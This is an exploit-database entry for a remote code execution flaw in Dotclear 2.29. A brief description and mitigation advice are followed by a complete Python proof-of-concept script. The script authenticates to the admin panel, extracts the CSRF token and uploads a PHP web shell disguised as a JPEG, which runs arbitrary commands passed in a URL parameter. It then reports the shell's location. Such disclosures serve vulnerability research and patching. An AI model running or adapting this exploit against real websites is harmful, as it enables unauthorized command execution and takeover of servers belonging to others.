header-logo
Suggest Exploit
vendor:
Dotclear
by:
Ahmet Ümit BAYRAM
8.1
CVSS
CRITICAL
Remote Code Execution (RCE)
434
CWE
Product Name: Dotclear
Affected Version From: 2.29
Affected Version To: 2.29
Patch Exists: NO
Related CWE: CVE-2024-XXXX (yet to be assigned)
CPE: a:dotclear:dotclear:2.29
Metasploit:
Platforms Tested: MacOS
2024

Dotclear 2.29 – Remote Code Execution (RCE)

The Dotclear version 2.29 is vulnerable to remote code execution (RCE) due to improper input validation. An attacker can exploit this vulnerability to upload and execute malicious scripts on the server, leading to unauthorized access and control over the system. This vulnerability has been discovered by Ahmet Ümit BAYRAM on 26.04.2024.

Mitigation:

To mitigate this vulnerability, it is recommended to update Dotclear to the latest version and implement proper input validation and sanitization mechanisms. Additionally, restrict access to sensitive server directories and regularly monitor for any unauthorized file uploads.
Source

Exploit-DB raw data:

# Exploit Title: Dotclear 2.29 - Remote Code Execution (RCE)
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 26.04.2024
# Vendor Homepage: https://git.dotclear.org/explore/repos
# Software Link:
https://github.com/dotclear/dotclear/archive/refs/heads/master.zip
# Tested Version: v2.29 (latest)
# Tested on: MacOS

import requests
import time
import random
import string
from bs4 import BeautifulSoup

def generate_filename(extension=".inc"):
return ''.join(random.choices(string.ascii_letters + string.digits, k=5)) +
extension

def get_csrf_token(response_text):
soup = BeautifulSoup(response_text, 'html.parser')
token = soup.find('input', {'name': 'xd_check'})
return token['value'] if token else None

def login(base_url, username, password):
print("Exploiting...")
time.sleep(1)
print("Logging in...")
time.sleep(1)
session = requests.Session()
login_data = {
"user_id": username,
"user_pwd": password
}
login_url = f"{base_url}/admin/index.php?process=Auth"
login_response = session.post(login_url, data=login_data)
if "Logout" in login_response.text:
print("Login Successful!")
return session
else:
print("Login Failed!")
return None

def upload_file(session, base_url, filename):
print("Shell Preparing...")
time.sleep(1)
boundary = "---------------------------376201441124932790524235275389"
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"X-Requested-With": "XMLHttpRequest"
}
csrf_token = get_csrf_token(session.get(f"{base_url}
/admin/index.php?process=Media").text)
payload = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n"
f"2097152\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"xd_check\"\r\n\r\n"
f"{csrf_token}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"upfile[]\"; filename=\"{filename}
\"\r\n"
f"Content-Type: image/jpeg\r\n\r\n"
"<html>\n<body>\n<form method=\"GET\" name=\"<?php echo
basename($_SERVER['PHP_SELF']); ?>\">\n"
"<input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\">\n<input
type=\"SUBMIT\" value=\"Execute\">\n"
"</form>\n<pre>\n<?php\nif(isset($_GET['cmd']))\n{\nsystem($_GET['cmd']);\n}
\n?>\n</pre>\n</body>\n</html>\r\n"
f"--{boundary}--\r\n"
)
upload_response = session.post(f"{base_url}
/admin/index.php?process=Media&sortby=name&order=asc&nb=30&page=1&q=&file_mode=grid&file_type=&plugin_id=&popup=0&select=0",
headers=headers, data=payload.encode('utf-8'))

if upload_response.status_code == 200:
print(f"Your Shell is Ready: {base_url}/public/{filename}")
else:
print("Exploit Failed!")

def main(base_url, username, password):
filename = generate_filename()
session = login(base_url, username, password)
if session:
upload_file(session, base_url, filename)

if __name__ == "__main__":
import sys
if len(sys.argv) != 4:
print("Usage: python script.py <siteurl> <username> <password>")
else:
base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
main(base_url, username, password)